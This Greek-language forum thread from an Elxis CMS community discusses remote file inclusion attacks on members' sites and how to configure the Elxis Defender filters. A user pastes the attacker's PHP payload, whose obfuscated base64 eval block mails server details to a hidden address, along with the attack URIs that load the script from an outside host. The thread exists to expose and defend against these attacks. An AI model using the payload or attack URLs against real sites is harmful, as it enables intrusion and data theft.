Βρε τα παληκάρια - Ασφάλεια Elxis

[webgift]

Έχω την υποχρέωση να ανοίξω ένα τέτοιο θέμα θεωρώντας πόσοι τύποι είναι εκεί έξω που όλη μέρα κάθε μέρα προσπαθούν να ρίξουν σελίδες παίζοντας το έξυπνοι.
Τα ηλίθια παλικάρια που σκάσανε μύτη σήμερα ήταν οι Karaw4nghacK πρέπει να αλλάξουν το όνομά τους γιατί δεν είναι καλλιτεχνικό θα έλεγα.  Προσπάθησαν λοιπόν με την εντολή στο link

/index.php?option=com_urunler&mosConfig.absolute.path=

Να φορτώσουν ένα txt αρχείο που γράφει τα παρακάτω :

--------
<?
$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "shepdoy<br>";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
 $safemode = true;
 $hsafemode = "4ON(BuSuK)6";
}
else {$safemode = false; $hsafemode = "3OFF(WoKeH)6";}
$xos = wordwrap(php_uname(),90,"<br>",1);
$xpwd = @getcwd();
$OS = "[Safe-mode:".$hsafemode."] [Kernel:".$xos."]";
echo "<center><A class=ria href=\"http://".$OS."\">shepdoy</A></center><br>";
echo "<br>OSTYPE:$OS<br>";
echo "<br>Pwd:$xpwd<br>";
eval(base64_decode("JGNyZWF0b3IgPSBiYXNlNjRfZGVjb2RlKCJjbUZqY21WM2JHOW5RR2R0WVdsc0xtTnZiUT09Ii
k7ICgkc2FmZV9tb2RlKT8oJHNhZmVtb2RlPSJPTiIpOigkc2FmZW1vZGU9Ik9GRiIpOyAkYmFzZT0iaHR0cDovLyIuJF9TR
VJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddOyAgJG5hbWUgPSBwaHBfdW5hbWUoKTsg
JGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaG9zdCA9IGdldGhvc3RieWFkZHIoJF9TRVJWRVJbUkVNT1RFX0FE
RFJdKTsgJHN1YmogPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107ICAkbXNnID0gIlxuQkFTRTogJGJhc2VcbnVuYW1lIC1hOi
AkbmFtZVxuSVA6ICRpcFxuSG9zdDogJGhvc3RcbiRwd2RzXG4iOyAkZnJvbSA9IkZyb206IE1PREVfPSIuJHNhZmVtb2RlL
iI8dG9vbEAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPiI7IG1haWwoICRjcmVhdG9yLCAkc3ViaiwgJG1zZywgJGZyb20pOw=="));
die("<center>Karaw4nghacK Was Here!!!</center>");
?>

------

Και ερωτώ:  που πας ρε καραμήτρο ;  Εδώ έχουμε Elxis!Τράβα να βρεις κανένα site με Joomla που δεν έχει βάλει το security update 1.1.23.13.412.5124.152.123.α και μετά τα λέμε!
// Το εν λόγω άτομο προσπάθησε από 2 διαφορετικές ip με 2 παραπλήσια αρχεία txt και πήρε τα ( να μην πω τι λέξη) 
Και ναι είναι αλήθεια το παλικάρι συνεχίζει με 3 Ip To αρχείο αυτή την φορά εδώ : http://gm.mapserverpro.com/cartoweb3/www-data/ID-RFI.txt

Άνοιξα λοιπόν το θέμα αυτό για να δείξω ότι πράγματα που θεωρούνται σίγουρα και βέβαια με μια λάθος επιλογή εγκυμονούν κινδύνους και μεγάλες απώλειες.

[@ndreas]

Θα ήταν χρήσιμο κάποια στιγμή να υπάρξει ένας οδηγός για την παραμετροποίηση του defender για το elxis

[webgift]

Αντρέα όταν λες παραμετροποίηση τι ακριβώς εννοείς;

// Ο τύπος ακόμα προσπαθεί 

[ArXoS]

com_urunler? έχει κανεις ιδέα τι είναι αυτό?

[webgift]

O τύπος δεν είναι τούρκικο component ... Τούρκικο σήριαλ είναι ... 
Παρά ταύτα οι Ips που έρχονται φαίνονται από Αμέρικα.

[ArXoS]

ναι, το βρήκα γιαυτό και το έκανα edit ... είναι image gallery component

[webgift]

Έχει φάει τα λυσακά του λέμε και άλλο ! Τι κάνει ο άσχετος ;:

Do not reply to this e-mail
This is a notification e-mail from Elxis Defender

Elxis Defender blocked an attack to your site
ATTACKER IP ADDRESS: 64.15.156.75 (blocked)
Requested URI: //index.php?option=com_registration&amp;mosConfig.absolute.path=http://gm.mapserverpro.com/cartoweb3/www-data/myid.jpg?
DATE: 18-12-2010 16:56:21
Attack was logged
Site turned offline for 5 seconds

Note: Elxis Defender wont send you another notification for the next 5 minutes even if more attacks occured.

---------------------------------------------------
ELXIS DEFENDER by Elxis Team
---------------------------------------------------

ναι, το βρήκα γιαυτό και το έκανα edit ... είναι image gallery component

Και να φανταστείς ότι δεν έχω βάλει κάποιο component Image gallery στο site!

[@ndreas]

Αντρέα όταν λες παραμετροποίηση τι ακριβώς εννοείς;

// Ο τύπος ακόμα προσπαθεί 

Τα φίλτρα που πρέπει οπωσδήποτε να κάνουμε χρήση

[webgift]

Προφανώς τα φίλτρα με κόκκινο χρώμα θεωρούνται απαραίτητα.
Από εκεί και πέρα είναι στην κρίση του καθενός τι θέλει να έχει.

Στην επιλογή όλως των φίλτρων κερδίζεις άλλα χάνεις στον :
Χρόνος Καθυστέρησης
Η χρήση του Υπερασπιστή κάνει το Elxis να τρέχει λίγο αργότερα από ότι συνήθως. Η προσθήκη πολλών φίλτρων μπορεί να αυξήσει το χρόνο εκτέλεσης της php αρκετά. Σας συνιστούμε να μην προσθέσετε πάνω από 15 φίλτρα αλλά ταυτόχρονα σας παρακινούμε να πειραματιστείτε καθώς αυτό εξαρτάται από την ιστοσελίδα και το διακομιστή. Καλέστε κάποιον ειδικό για βοήθεια αν αντιμετωπίζετε δυσκολίες. Οι εργαστηριακές μας μετρήσεις έδειξαν χρόνο καθυστέρησης από 0,1 ως 27 msec ανάλογα με τον αριθμό των φίλτρων (από 10 ως 30) και τις δηλωμένες μεταβλητές εισόδου τις οποίες είχε να αντιμετωπίσει ο Υπερασπιστής (από συνήθη περιήγηση, ως υποβολή μεγάλων κειμένων μέσω της μεθόδου POST ή GET).

Οπότε επιλέγεις και παίρνεις.!

[@ndreas]

οκ ευχαριστώ, χρήσιμες πληροφορίες

[webgift]

Να σε καλά Αντρέα.
Ακόμα συνεχίζουν οι επιθέσεις !

[Dimitris Kanatas]

Σήμερα... και για πρώτη φορά 10 επιθέσεις μαζεμένες.... Τι κάνουν;;;

[webgift]

Εμένα με έχουν βάλει στο μάτι για τα καλά.
2 subdomain δέχονται επιθέσεις κατά ριπάς και ένα domain επίσης.

[Dimitris Kanatas]

Το έχω γράψει και παλιότερα... από εδώ παίρνουν τα sites για να δοκιμάσουν τις αντοχές του Elxis.

WebGift σου στέλνω ένα p.m. με κάτι που θέλω να ρωτήσω....

[webgift]

Ok.! Προσωπικά δεν φοβάμαι. Φαίνονται άσχετοι!